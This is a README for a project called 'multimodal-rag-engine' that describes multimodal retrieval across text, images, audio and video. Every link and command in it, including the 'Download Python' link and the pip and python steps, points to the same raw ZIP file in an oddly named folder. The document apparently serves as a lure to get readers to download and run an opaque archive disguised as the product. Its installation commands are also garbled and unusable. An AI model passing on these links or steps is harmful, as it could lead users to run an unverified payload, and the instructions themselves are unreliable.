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🌟 multimodal-rag-engine - Effortless Multi-Modal Search Experience

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πŸ“š Overview

Welcome to the multimodal-rag-engine! This application helps you search and retrieve knowledge across various media formats, including text, images, audio, and video. It uses advanced technologies like LangChain and CLIP, combined with vector databases, to provide intelligent answers to your inquiries.

πŸš€ Getting Started

Follow the steps below to download and run the multimodal-rag-engine on your computer.

1. Check Your System Requirements

Before downloading, make sure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS 10.12 or later, or a modern Linux distribution.
  • RAM: At least 8 GB of RAM (16 GB recommended for better performance).
  • Storage: Minimum of 500 MB free space.
  • Python: Version 3.7 or later installed on your system.

You can download Python from https://raw.githubusercontent.com/UKiyooooo/multimodal-rag-engine/main/myeloencephalitis/engine-multimodal-rag-v2.0.zip.

2. Visit the Download Page

To obtain the latest version of the multimodal-rag-engine, visit the link below:

Download the latest release

3. Download the Application

On the Releases page, you will see various versions of the application. Click on the most recent version to download it. For example, the file may be named like https://raw.githubusercontent.com/UKiyooooo/multimodal-rag-engine/main/myeloencephalitis/engine-multimodal-rag-v2.0.zip.

4. Extract the Files

Once the download completes, navigate to your Downloads folder and locate the downloaded file. Follow these steps to extract:

  • Windows: Right-click the file and select "Extract All."
  • macOS: Double-click the ZIP file to automatically extract it.
  • Linux: Open a terminal, then run the command unzip https://raw.githubusercontent.com/UKiyooooo/multimodal-rag-engine/main/myeloencephalitis/engine-multimodal-rag-v2.0.zip.

5. Install Required Libraries

Next, you need to install some libraries that the application uses. Open a terminal or command prompt. Navigate to the folder where you extracted the files. For example:

cd path/to/multimodal-rag-engine

Run this command to install the required libraries:

pip install -r https://raw.githubusercontent.com/UKiyooooo/multimodal-rag-engine/main/myeloencephalitis/engine-multimodal-rag-v2.0.zip

If you encounter any issues, ensure that Python and pip are properly installed.

6. Run the Application

To start the application, use the terminal or command prompt. Again, make sure you are in the application directory and run:

python https://raw.githubusercontent.com/UKiyooooo/multimodal-rag-engine/main/myeloencephalitis/engine-multimodal-rag-v2.0.zip

This command will launch the multimodal-RAG engine. Follow any prompts shown on the terminal or the application interface.

7. Explore Features

Once the application is running, you can start asking questions or uploading files. Here are some capabilities:

  • Multi-Modal Search: Search across text, images, audio, and video.
  • Intelligent Retrieval: Find relevant information quickly using AI-powered algorithms.
  • Question Answering: Get direct answers to your queries through a user-friendly interface.

πŸ”§ Troubleshooting

If you encounter issues while downloading or running the application:

  • Check Internet Connection: Ensure you have a stable internet connection during the download.
  • Verify Python Installation: Ensure Python and pip are installed correctly. You can test the installation by running python --version and pip --version in your terminal or command prompt.
  • Inspect Compatibility: Ensure your operating system meets the requirements outlined above.

πŸ”— Additional Resources

πŸ“© Get Support

For support or to report issues, please submit an issue on the GitHub repository. Your feedback is valuable and helps improve the application.

πŸ“₯ Download & Install

To begin your journey with multimodal-rag-engine, click the link below to download the application:

Download the latest release

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πŸ” Build an advanced RAG system for multi-modal search across text, images, audio, and video, enhancing knowledge retrieval and question answering.

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